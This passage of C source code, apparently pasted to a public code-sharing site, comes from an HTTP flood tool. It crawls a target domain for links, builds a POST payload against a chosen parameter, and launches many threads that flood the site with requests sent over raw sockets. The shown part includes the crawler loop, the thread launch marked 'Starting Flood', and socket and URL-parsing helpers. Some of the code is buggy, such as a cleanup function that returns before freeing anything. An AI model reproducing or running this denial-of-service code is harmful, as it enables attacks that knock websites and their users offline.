  721. strncpy(hreftarget, hrefstart, strchr(hrefstart, '\'') - hrefstart);
  722. } else {
  723. char *end = NULL;
  724. if(strchr(hrefstart, ' ') > strchr(hrefstart, '>'))
  725. {
  726. end = strchr(hrefstart, '>');
  727. } else {
  728. end = strchr(hrefstart, ' ');
  729. }
  730. hreftarget = malloc(end - hrefstart + 1);
  731. bzero(hreftarget, end - hrefstart + 1);
  732. strncpy(hreftarget, hrefstart, end - hrefstart);
  733. }
  734. if(strcmp(hreftarget, "#") == 0 || stristr(hreftarget, "javascript:") != NULL)
  735. {
  736. free(hreftarget);
  737. continue;
  738. }
  739. char *scrapenext;
  740. setupparts();
  741. parseURL(hreftarget, returnparts);
  742. if(!(*(returnparts[path]->value)))
  743. {
  744. freeparts();
  745. continue;
  746. }
  747. if(*(returnparts[host]->value))
  748. {
  749. if(strcmp(returnparts[host]->value, original_domain) != 0)
  750. {
  751. freeparts();
  752. continue;
  753. }
  754. scrapenext = hreftarget;
  755. } else {
  756. scrapenext = malloc(7 + strlen(original_domain) + 1 + strlen(returnparts[path]->value) + 1);
  757. bzero(scrapenext, 7 + strlen(original_domain) + 1 + strlen(returnparts[path]->value) + 1);
  758. strcpy(scrapenext, "http://");
  759. strcpy(scrapenext + 7, original_domain);
  760. strcpy(scrapenext + 7 + strlen(original_domain), "/");
  761. strcpy(scrapenext + 7 + strlen(original_domain) + 1, returnparts[path]->value);
  762. char *tmp = malloc(strlen(original_domain)+2);
  763. bzero(tmp, strlen(original_domain)+2);
  764. sprintf(tmp, "%s/", original_domain);
  765. char *tmp2 = malloc(strlen(original_domain)+3);
  766. bzero(tmp2, strlen(original_domain)+3);
  767. sprintf(tmp2, "%s//", original_domain);
  768. char *scrapenext_tmp = str_replace(scrapenext, tmp2, tmp);
  769. if(scrapenext_tmp != NULL)
  770. {
  771. free(scrapenext);
  772. scrapenext = scrapenext_tmp;
  773. }
  774. free(tmp);
  775. free(tmp2);
  776. }
  777. freeparts();
  778. int alreadyadded = 0;
  779. if(headurl->next == headurl)
  780. {
  781. if(strcmp(headurl->url, scrapenext) == 0)
  782. {
  783. alreadyadded = 1;
  784. }
  785. } else {
  786. struct urllist *dup = headurl->next;
  787. while(dup != headurl)
  788. {
  789. if(dup->url == NULL)
  790. {
  791. dup->prev->next = dup->next;
  792. dup->next->prev = dup->prev;
  793. dup = dup->next;
  794. continue;
  795. }
  796. if(strcmp(dup->url, scrapenext) == 0)
  797. {
  798. alreadyadded = 1;
  799. break;
  800. }
  801. dup = dup->next;
  802. }
  803. }
  804. if(alreadyadded == 0)
  805. {
  806. struct urllist *newurl = malloc(sizeof(struct urllist));
  807. bzero(newurl, sizeof(struct urllist));
  808. newurl->url = scrapenext;
  809. newurl->done = 0;
  810. newurl->next = headurl->next;
  811. newurl->prev = headurl;
  812. headurl->next = newurl;
  813. }
  814. }
  815. headurl->done = 1;
  816. headurl = headurl->next;
  817. free(headerstatus);
  818. free(buffer);
  819. }
  820. END:
  821. free(original_domain);
  822. } else {
  823. freeparts();
  824. }
  825. setupparts();
  826. parseURL(targeturl, returnparts);
  827. pthread_t thread[num_threads];
  828. struct list *td[num_threads];
  829. struct list *node = head->next;
  830.  
  831.  
  832. for(i=0;i<num_threads;i++)
  833. {
  834. td[i] = node;
  835. node = node->next;
  836. }
  837. postpayload = malloc(4096);
  838. sprintf(postpayload, postformat, returnparts[path]->value, returnparts[host]->value, targetparameter);
  839. freeparts();
  840.  
  841. //fprintf(stdout, "Starting Flood...\n");
  842.  
  843. fnAttackInformation(atoi(argv[argc-1]));
  844.  
  845. for(i = 0;i<num_threads;i++){
  846. pthread_create( &thread[i], NULL, &flood, (void *) td[i]);
  847. }
  848. sleep(atoi(argv[5]));
  849. return 0;
  850. }
  851. char *geturl(char *url, char *useragent, char *ip)
  852. {
  853. RETRY:
  854. setupparts();
  855. parseURL(url, returnparts);
  856. struct sockaddr_in serverAddr;
  857. bzero(&serverAddr, sizeof(serverAddr));
  858. serverAddr.sin_family = AF_INET;
  859. serverAddr.sin_port = htons(ATTACKPORT);
  860. serverAddr.sin_addr.s_addr = inet_addr(ip);
  861. int serverSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  862. unsigned int yes = 1;
  863. setsockopt(serverSocket,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(yes));
  864. if(connect(serverSocket, (struct sockaddr *)&serverAddr, sizeof(serverAddr)) > 0)
  865. {
  866. printf("GETURL CONNECT FAILED, RETRYING\n");
  867. close(serverSocket);
  868. freeparts();
  869. goto RETRY;
  870. }
  871. int bytes = 0;
  872. char *payload = malloc(8094);
  873. bzero(payload, 8094);
  874. sprintf(payload, "GET /%s HTTP/1.0\r\nHost: %s\r\nConnection: close\r\nUser-Agent: %s\r\n\r\n", returnparts[path]->value, returnparts[host]->value, useragent);
  875. freeparts();
  876. bytes = send(serverSocket, payload, strlen(payload), MSG_NOSIGNAL);
  877. if(bytes == -1)
  878. {
  879. printf("GETURL SEND FAILED, SITE CLOSED CONNECTION, RETRYING\n");
  880. close(serverSocket);
  881. goto RETRY;
  882. }
  883. int total = 0;
  884. int currentsize = 4096;
  885. char *buffer = malloc(4096);
  886. bzero(buffer, 4096);
  887. bytes = recv(serverSocket, buffer, 4096, 0);
  888. while(bytes > 0)
  889. {
  890. total += bytes;
  891. if(total+4096 > currentsize)
  892. {
  893. char *new_buffer = malloc(total+4096);
  894. bzero(new_buffer, total+4096);
  895. memcpy(new_buffer, buffer, total);
  896. free(buffer);
  897. buffer = new_buffer;
  898. currentsize = total+4096;
  899. }
  900. bytes = recv(serverSocket, buffer+total, 4096, 0);
  901. }
  902. return buffer;
  903. }
  904. void freeparts()
  905. {
  906. return;
  907. if(returnparts[0]!=NULL) { free(returnparts[0]); }
  908. if(returnparts[1]!=NULL) { free(returnparts[1]); }
  909. if(returnparts[2]!=NULL) { free(returnparts[2]); }
  910. if(returnparts[3]!=NULL) { free(returnparts[3]); }
  911. if(returnparts[4]!=NULL) { free(returnparts[4]); }
  912. if(returnparts[5]!=NULL) { free(returnparts[5]); }
  913. if(returnparts[6]!=NULL) { free(returnparts[6]); }
  914. if(returnparts[7]!=NULL) { free(returnparts[7]); }
  915. if(returnparts[8]!=NULL) { free(returnparts[8]); }
  916. return;
  917. }
  918. void setupparts()
  919. {
  920. returnparts[0] = malloc(sizeof(struct urlparts));
  921. returnparts[1] = malloc(sizeof(struct urlparts));
  922. returnparts[2] = malloc(sizeof(struct urlparts));
  923. returnparts[3] = malloc(sizeof(struct urlparts));
  924. returnparts[4] = malloc(sizeof(struct urlparts));
  925. returnparts[5] = malloc(sizeof(struct urlparts));
  926. returnparts[6] = malloc(sizeof(struct urlparts));
  927. returnparts[7] = malloc(sizeof(struct urlparts));
  928. returnparts[8] = malloc(sizeof(struct urlparts));
  929. bzero(returnparts[0], sizeof(struct urlparts));
  930. bzero(returnparts[1], sizeof(struct urlparts));
  931. bzero(returnparts[2], sizeof(struct urlparts));
  932. bzero(returnparts[3], sizeof(struct urlparts));
  933. bzero(returnparts[4], sizeof(struct urlparts));
  934. bzero(returnparts[5], sizeof(struct urlparts));
  935. bzero(returnparts[6], sizeof(struct urlparts));
  936. bzero(returnparts[7], sizeof(struct urlparts));
  937. bzero(returnparts[8], sizeof(struct urlparts));
  938. returnparts[0]->name = "scheme";
  939. strcpy(returnparts[0]->separator, ":");
  940. returnparts[1]->name = "userid";
  941. strcpy(returnparts[1]->separator, "@");
  942. returnparts[2]->name = "password";
  943. strcpy(returnparts[2]->separator, ":");
  944. returnparts[3]->name = "host";
  945. strcpy(returnparts[3]->separator, "//");
  946. returnparts[4]->name = "port";
  947. strcpy(returnparts[4]->separator, ":");
  948. returnparts[5]->name = "path";
  949. strcpy(returnparts[5]->separator, "/");
  950. returnparts[6]->name = "param";
  951. strcpy(returnparts[6]->separator, ";");
  952. returnparts[7]->name = "query";
  953. strcpy(returnparts[7]->separator, "?");
  954. returnparts[8]->name = "fragment";
  955. strcpy(returnparts[8]->separator, "#");
  956. return;
  957. }
  958. int parseURL(char *url, struct urlparts **returnpart) {
  959. register i;
  960. int seplen;
  961. char * remainder;
  962. char * regall = ":/;?#";
  963. char * regpath = ":;?#";
  964. char * regx;
  965. if(!*url)
  966. {
  967. strcpy(parseError, "nothing to do!\n");
  968. return 0;
  969. }
  970. if((remainder = malloc(strlen(url) + 1)) == NULL)
  971. {
  972. printf("cannot allocate memory\n");
  973. exit(-1);
  974. }
  975. strcpy(remainder, url);
  976. if(firstpunc(remainder) == ':')
  977. {
  978. strcpy(returnpart[scheme]->value, strsplit(remainder, returnpart[scheme]->separator));
  979. strleft(remainder, 1);
  980. }
  981. if (!strcmp(returnpart[scheme]->value, "mailto"))
  982. *(returnpart[host]->separator) = 0;
  983. for(i = 0; i < NUMPARTS; i++)
  984. {
  985. if(!*remainder)
  986. break;
  987. if(i == scheme || i == userid || i == password)
  988. continue;
  989. if(i == host && strchr(remainder, '@'))
  990. {
  991. if(!strncmp(remainder, "//", 2))
  992. strleft(remainder, 2);
  993. strcpy(returnpart[userid]->value, strsplit(remainder, ":@"));
  994. strleft(remainder, 1);
  995. if(strchr(remainder, '@'))
  996. {
  997. strcpy(returnpart[password]->value, strsplit(remainder, "@"));
  998. strleft(remainder, 1);
  999. }
  1000. *(returnpart[host]->separator) = 0;
  1001. }
  1002. if(i == path && (! *(returnpart[scheme]->value)))
  1003. {
  1004. *(returnpart[path]->separator) = 0;
  1005. strcpy(returnpart[scheme]->value, "http");
  1006. }
  1007. regx = (i == path) ? regpath : regall ;
  1008. seplen = strlen(returnpart[i]->separator);
  1009. if(strncmp(remainder, returnpart[i]->separator, seplen))
  1010. continue;
  1011. else
  1012. strleft(remainder, seplen);
  1013. strcpy(returnpart[i]->value, strsplit(remainder, regx));
  1014. }
  1015. if(*remainder)
  1016. sprintf(parseError, "I don't understand '%s'", remainder);
  1017. free(remainder);
  1018. return 0;
  1019. }
  1020. char *str_replace(char *orig, char *rep, char *with) {
  1021. char *result;
  1022. char *ins;
  1023. char *tmp;
  1024. int len_rep;
  1025. int len_with;
  1026. int len_front;
  1027. int count;
  1028. if (!orig)
  1029. return NULL;
  1030. if (!rep || !(len_rep = strlen(rep)))
  1031. return NULL;
  1032. if (!(ins = strstr(orig, rep)))
  1033. return NULL;
  1034. if (!with)
  1035. with = "";
  1036. len_with = strlen(with);
  1037. for (count = 0; tmp = strstr(ins, rep); ++count) {
  1038. ins = tmp + len_rep;
  1039. }
  1040. tmp = result = malloc(strlen(orig) + (len_with - len_rep) * count + 1);
  1041. if (!result)
  1042. return NULL;
  1043. while (count--) {
  1044. ins = strstr(orig, rep);
  1045. len_front = ins - orig;
  1046. tmp = strncpy(tmp, orig, len_front) + len_front;
  1047. tmp = strcpy(tmp, with) + len_with;
  1048. orig += len_front + len_rep;
  1049. }
  1050. strcpy(tmp, orig);
  1051. return result;
  1052. }
  1053. char *stristr(const char *String, const char *Pattern)
  1054. {
  1055. char *pptr, *sptr, *start;
  1056. uint slen, plen;
  1057. for (start = (char *)String,
  1058. pptr = (char *)Pattern,
  1059. slen = strlen(String),
  1060. plen = strlen(Pattern);
  1061. slen >= plen;
  1062. start++, slen--)
  1063. {
  1064.  
  1065. while (toupper(*start) != toupper(*Pattern))
  1066. {
  1067. start++;
  1068. slen--;
  1069.  
  1070. if (slen < plen)
  1071. return(NULL);
  1072. }
  1073. sptr = start;
  1074. pptr = (char *)Pattern;
  1075. while (toupper(*sptr) == toupper(*pptr))
  1076. {
  1077. sptr++;
  1078. pptr++;
  1079.  
  1080. if ('\0' == *pptr)
  1081. return (start);
  1082. }
  1083. }
  1084. return(NULL);
  1085. }
  1086. char * strsplit(char * s, char * tok) {
  1087. #define OUTLEN (255)
  1088. register i, j;
  1089. static char out[OUTLEN + 1];
  1090. for(i = 0; s[i] && i < OUTLEN; i++)
  1091. {
  1092. if(strchr(tok, s[i]))
  1093. break;
  1094. else
  1095. out[i] = s[i];
  1096. }
  1097. out[i] = 0;
  1098. if(i && s[i])
  1099. {
  1100. for(j = 0; s[i]; i++, j++) s[j] = s[i];
  1101. s[j] = 0;
  1102. }
  1103. else if (!s[i])
  1104. *s = 0;
  1105. return out;
  1106. }
  1107. char firstpunc(char * s) {
  1108. while(*s++)
  1109. if(!isalnum(*s)) return *s;
  1110. return 0;
  1111. }
  1112. int strleft(char * s, int n) {
  1113. int l;
  1114. l = strlen(s);
  1115. if(l < n)
  1116. return -1;
  1117. else if (l == n)
  1118. *s = 0;
  1119. memmove(s, s + n, l - n + 1);
  1120. return n;
  1121. }
Advertisement
Add Comment
Please, Sign In to add comment